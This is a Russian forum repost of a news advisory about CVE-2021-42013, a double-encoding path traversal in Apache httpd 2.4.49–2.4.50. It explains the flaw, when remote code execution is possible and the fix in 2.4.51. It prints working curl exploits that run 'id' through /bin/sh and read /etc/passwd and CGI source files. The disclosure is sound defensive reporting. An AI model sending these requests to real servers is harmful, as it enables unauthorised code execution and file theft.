Ещё одна уязвимость в Apache httpd, позволяющая обратиться за пределы корневого каталога сайта

Автор Сообщение
news_bot ®

Стаж: 6 лет 2 месяца
Сообщений: 27286

Создавать темы news_bot ® написал(а)
08-Окт-2021 11:30

Найден новый вектор атаки на http-сервер Apache, который остался неисправленным в обновлении 2.4.50 и позволяет получить доступ к файлам из областей вне корневого каталога сайта. Кроме того, исследователями найден способ, позволяющий при наличии определённых нестандартных настроек не только прочитать системные файлы, но и удалённо выполнить свой код на сервере. Проблема проявляется только в выпусках 2.4.49 и 2.4.50, более ранние версии уязвимости не подвержены. Для устранения нового варианта уязвимости оперативно сформирован выпуск Apache httpd 2.4.51.
По своей сути новая проблема (CVE-2021-42013) полностью аналогична изначальной уязвимости (CVE-2021-41773) в 2.4.49, разница лишь в иной кодировке символов "..". В частности, в выпуске 2.4.50 была заблокирована возможность использования последовательности "%2e" для кодирования точки, но упущена возможность двойного кодирования - при указании последовательности "%%32%65" сервер декодировал её в "%2e", а затем в ".", т.е. символы "../" для перехода в предыдущий каталог можно было закодировать как ".%%32%65/".
Что касается эксплуатации уязвимости через выполнение кода, то подобное возможно при включении mod_cgi и использовании базового пути, в котором разрешено выполнение CGI-скриптов (например, если включена директива ScriptAlias или указан флаг ExecCGI в директиве Options). Обязательным требованием для успешного проведения атаки также является явное предоставление в настройках Apache доступа к каталогам с исполняемыми файлами, таким как /bin, или доступа к корню ФС "/". Так как обычно такой доступ не предоставляется, то атака по выполнению кода малоприменима к реальным системам.
При этом остаётся актуальной атака по получению содержимого произвольных системных файлов и исходных текстов web-скриптов, доступных для чтения пользователю, под которым запущен http-сервер. Для проведения такой атаки достаточно наличия на сайте каталога, настроенного при помощи директив "Alias" или "ScriptAlias" (DocumentRoot не достаточно), такого как "cgi-bin".
Пример эксплоита, позволяющего выполнить утилиту "id" на сервере:
curl 'http://192.168.0.1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh' --data 'echo Content-Type: text/plain; echo; id'
   uid=1(daemon) gid=1(daemon) groups=1(daemon)
Пример эксплоитов, позволяющего вывести содержимое /etc/passwd и одного из web-скриптов (для отдачи кода скриптов в качестве базового должен быть указан определённый через директиву "Alias" каталог, для которого не включено исполнение скриптов):
curl 'http://192.168.0.1/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'
   curl 'http://192.168.0.1/aliaseddir/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/usr/local/apache2/cgi-bin/test.cgi'
Проблема затрагивает в основном непрерывно обновляемые дистрибутивы, такие как Fedora, Arch Linux и Gentoo, а также порты FreeBSD. Пакеты в стабильных ветках консервативных серверных дистрибутивов Debian, RHEL, Ubuntu и SUSE уязвимости не подвержены. Проблема не проявляется, если доступ к каталогам явно запрещён при помощи настройки "require all denied".
===========
Источник:
OpenNet.RU
===========

Похожие новости: Теги для поиска: #_apache, #_httpd
Профиль  ЛС 
Показать сообщения:     

Вы не можете начинать темы
Вы не можете отвечать на сообщения
Вы не можете редактировать свои сообщения
Вы не можете удалять свои сообщения
Вы не можете голосовать в опросах
Вы не можете прикреплять файлы к сообщениям
Вы не можете скачивать файлы

Текущее время: 02-Май 09:45
Часовой пояс: UTC + 5